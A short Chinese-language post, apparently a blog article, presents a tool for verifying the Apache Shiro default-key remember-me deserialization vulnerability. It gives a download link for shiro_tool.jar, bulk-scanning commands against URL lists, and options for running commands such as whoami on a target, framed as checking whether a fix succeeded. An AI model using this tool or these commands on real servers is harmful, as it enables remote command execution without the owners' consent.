最近很多用户都在被Apache Shiro 默认密钥致命令执行漏洞困扰，前面的文章介绍了修复方法但是修复之后有没有成功呢，接下来为大家介绍一下Apache Shiro 默认密钥致命令执行漏洞验证工具，有需要的小伙伴可以参考一下：
1、漏洞介绍：
Apache Shiro 是ASF旗下的一款开源软件，它提供了一个强大而灵活的安全框架，提供身份验证、授权、密码学和会话管理。在Apache Shiro部分旧版本中，加密的用户信息序列化后存储在名为remember-me的Cookie中，攻击者可以使用Shiro的默认密钥伪造用户Cookie，触发Java反序列化漏洞，进而在目标机器上执行任意命令。
2、工具功能：
（1）、spring/tomcat回显，执行命令的时候，x=whoami 就行
（2）、批量检测是否shiro, java -cp shiro_tool.jar shiro.Check http://url 或者 java -cp shiro_tool.jar shiro.Check urls=文件
（3）、目标服务器不出网的情况下探测
2、验证方法：
（1）、下载文件：https://xz.aliyun.com/forum/upload/affix/shiro_tool.zip，jar包内容如下：
（2）、批量检测是否shiro, java -cp shiro_tool.jar shiro.Check http://url 或者 java -cp shiro_tool.jar shiro.Check urls=文件
（3）、执行命令及结果如下：
java -jar shiro_tool.jar https://xx.xx.xx.xx
nocheck --> skip check target is shiro or not.
key= --> set a shiro key.
req= --> request body file 抓包保存到文件里，这里写文件名
keys= --> keys file 自定义key的文件，key按行分割，即每行写一个
